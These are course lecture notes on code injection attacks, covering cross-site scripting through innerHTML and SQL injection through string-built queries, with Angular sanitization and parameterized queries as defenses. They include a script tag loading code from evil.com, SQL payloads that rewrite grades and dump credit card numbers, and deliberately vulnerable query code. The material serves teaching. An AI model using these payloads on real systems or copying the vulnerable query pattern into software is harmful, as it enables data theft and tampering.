# Code Injection Attacks

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#### Consider adding HTML comments to our Photo App

• Easy change:

```
Rather than {{model.comment}} do div.innerHtml = model.comment;
```

What happens if someone inputs a comment with a script tag?

```
<script src="http://www.evil.com/damage.js" />
```

Called a Cross Site Scripting Attack (XSS)

Really unfortunate for us. Every user that views that photo/comments gets hurt. (consider following with a CSRF attack)

#### Stored Cross Site Scripting Attack

- Attacker stores attacking code in a victim Web server, where it gets accessed by victim clients. Call a Stored Cross Site Scripting Attack
- On previous generations of web frameworks was a major attack loophole
  - Lots of stuffing things into innerHTML, bad escape processing
- Less so on JavaScript frameworks
  - Care is taken before stuffing things into the DOM

### Reflected Cross Site Scripting

- Attacker doesn't need to store attack on website, can just reflect it of the website. Call a Reflected Cross Site Scripting Attack
- Consider a website that shows the search term used (like our states view)
  - What happens if we store the search term in an innerHTML and an attacker tricks a user into searching for:

### Reflected Cross Site Scripting Attack

- How to get user to submit that URL? CSRF again:
- Step #1: lure user to attacker site:
  - Sponsored advertisement
  - Spam email
  - Facebook application
- Step #2: attacker HTML automatically loads the link in an invisible iframe

#### Modern JavaScript frameworks have better defences

Angular bind-html - Sanitizes HTML to remove script, etc.
 <div ng-bind-html="model.comment"></div> --- Safe

 Must explicitly tell Angular if you don't want it sanitized model.comment = \$sce.trustAsHtml(model.comment)
 Strict Contextual Escaping (SCE)

Effectively marks all the places you need to worry about

## Code Inject on the Server

#### SQL DataBase query models

Request processing for get students of a specified advisor

```
var advisorName = routeParam.advisorName;
var students = Student.find_by_sql(
    "SELECT students.* " +
    "FROM students, advisors " +
    "WHERE student.advisor_id = advisor.id " +
    "AND advisor.name = '" + advisorName + "'");
```

Called with advisorName of 'Jones'

```
SELECT students.* FROM students, advisors
WHERE student.advisor_id = advisor.id
AND advisor.name = 'Jones'
```

#### SQL Injection Attack - Update database

What happens if the advisorName is:

```
Jones'; UPDATE grades
    SET g.grade = 4.0
    FROM grades g, students s
    WHERE g.student_id = s.id
    AND s.name = 'Smith
```


The following query will be generated:

#### SQL Injection

Injection can also be used to extract sensitive information

- Modify existing query to retrieve different information
- Stolen information appears in "normal" Web output

#### Consider a simple pizza company view order history



CS142 Lecture Notes - Code Injection Attacks

#### Order history query to SQL database

Order history request processing:


```
var month = routeParam.month;
var orders = Orders.find_by_sql(
    "SELECT pizza, toppings, quantity, date " +
    "FROM orders " +
    "WHERE user_id=" + user_id +
    "AND order_month= '" + month + "'");
```

Month parameter set to:

#### SQL Injection - Dump the database

```
SELECT pizza, toppings, quantity, date
FROM orders
WHERE user_id=94412
AND order_month='October' AND 1=0
UNION SELECT name as pizza, card_num as toppings,
exp_mon as quantity, exp_year as date
FROM credit cards WHERE name != ''
```

#### Output the dump



### CardSystems hit by SQL injection attack

CardSystems - Credit card payment processing company

SQL injection attack in June 2005

Did in the company

The Attack:

Credit card #s stored unencrypted

263,000 credit card #s stolen from database

43 million credit card #s exposed

#### Solutions

Don't write SQL

```
Student.findByAdvisorName(routeParam.advisorName);
```

Use a framework that knows how to safely build sql commands:

```
Student.find_by_sql("SELECT students.* " +
    "FROM students, advisors " +
    "WHERE student.advisor_id = advisor.id " +
    "AND advisor.name = ?",
    routeParam.advisorName);
```